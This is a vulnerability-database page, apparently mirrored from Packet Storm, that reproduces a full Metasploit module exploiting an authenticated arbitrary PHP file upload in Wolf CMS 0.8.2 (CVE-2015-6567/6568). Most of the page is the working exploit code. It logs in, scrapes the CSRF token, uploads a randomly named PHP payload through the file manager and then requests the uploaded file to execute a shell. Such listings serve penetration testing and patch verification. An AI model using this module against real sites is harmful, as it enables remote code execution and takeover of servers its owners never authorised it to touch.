Lucene search
K

Wolf CMS 0.8.2 Arbitrary PHP File Upload

🗓️ 22 Jun 2016 00:00:00Reported by Nahendra BhatiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

Wolf CMS 0.8.2 Arbitrary PHP File Upload Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Wolf CMS Arbitrary File Upload To Command Execution Exploit
28 Aug 201500:00
zdt
0day.today
Wolf CMS 0.8.2 - Arbitrary File Upload (Metasploit)
22 Jun 201600:00
zdt
Circl
CVE-2015-6567
3 Nov 202509:35
circl
CNVD
Wolf CMS Metasploit Module Arbitrary File Upload Vulnerability
23 Jun 201600:00
cnvd
CNVD
Wolf CMS Metasploit module arbitrary file upload vulnerability (CNVD-2016-04300)
23 Jun 201600:00
cnvd
CVE
CVE-2015-6567
14 Apr 201716:00
cve
CVE
CVE-2015-6568
14 Apr 201716:00
cve
Cvelist
CVE-2015-6567
14 Apr 201716:00
cvelist
Cvelist
CVE-2015-6568
14 Apr 201716:00
cvelist
Exploit DB
Wolf CMS - Arbitrary File Upload / Execution
28 Aug 201500:00
exploitdb
Rows per page
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize  
super(  
'Name' => 'Wolfcms 0.8.2 Arbitrary PHP File Upload Vulnerability',  
'Description' => %q{  
This module exploits a file upload vulnerability in Wolfcms  
version 0.8.2. This application has an upload feature that   
allows an authenticated user with administrator roles to upload   
arbitrary files to the '/public' directory.  
},  
'Author' => [  
'Narendra Bhati', # Proof of concept  
'Rahmat Nurfauzi' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2015-6568'],   
['CVE', '2015-6567'],  
['OSVDB','126852'],   
['EDB', '38000'],  
],  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['Wolfcms <= 0.8.2', {}]  
],  
'DisclosureDate' => 'Aug 28 2015',  
'Privileged' => false,   
'DefaultTarget' => 0  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to wolfcms', '/wolfcms']),  
OptString.new('USER', [true, 'User to login with', '']),  
OptString.new('PASS', [true, 'Password to login with', '']),  
], self.class)  
end  
  
def login  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, "/?/admin/login/login/"),  
'vars_post' => {  
"login[username]" => datastore['USER'],  
"login[password]" => datastore['PASS'],  
"login[redirect]" => "/wolfcms/?/admin"  
}  
})  
return res  
end  
  
def exploit  
  
upload_name = rand_text_alpha(5 + rand(5)) + '.php'  
  
get_cookie = login.get_cookies  
cookie = get_cookie.split(";")[3]  
  
token = send_request_cgi({  
'method' => 'GET',  
'cookie' => cookie,  
'uri' => normalize_uri(target_uri, "/?/admin/plugin/file_manager/browse/")   
})  
  
html = token.body  
if html =~ /Files/  
print_status("Login successfuly")  
end  
csrf_token = html.scan(/<input\s*id=\"csrf_token\"\s*name=\"csrf_token\"\s*type=\"hidden\"\s*value=\"(.*)"/).last.first  
  
boundary = Rex::Text.rand_text_hex(28)  
  
data = "-----------------------------#{boundary}\r\n"  
data << "Content-Disposition: form-data; name=\"csrf_token\"\r\n"  
data << "\r\n"  
data << csrf_token  
data << "\r\n"  
data << "-----------------------------#{boundary}\r\n"  
data << "Content-Disposition: form-data; name=\"upload[path]\"\r\n\r\n"  
data << "/"  
data << "\r\n"  
data << "-----------------------------#{boundary}\r\n"  
data << "Content-Disposition: form-data; name=\"upload_file\"; filename=\"#{upload_name}\"\r\n"  
data << "Content-Type: text/x-php\r\n"  
data << "\r\n"  
data << payload.encoded  
data << "\r\n"  
data << "-----------------------------#{boundary}\r\n"  
data << "Content-Disposition: form-data; name=\"commit\"\r\n"  
data << "\r\n"  
data << "Upload\r\n"  
data << "-----------------------------#{boundary}--\r\n\r\n"  
  
print_good("#{peer} - Payload uploaded as #{upload_name}")  
  
res = send_request_cgi({  
'method' => 'POST',   
'data' => data,  
'headers' =>  
{  
'Content-Type' => 'multipart/form-data; boundary=---------------------------' + boundary,  
'Cookie' => cookie,  
},  
'uri' => normalize_uri(target_uri, "/?/admin/plugin/file_manager/upload/")   
})  
  
register_file_for_cleanup(upload_name)  
  
print_status("#{peer} - Executing shell...")  
  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "public",upload_name),  
})  
  
end   
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation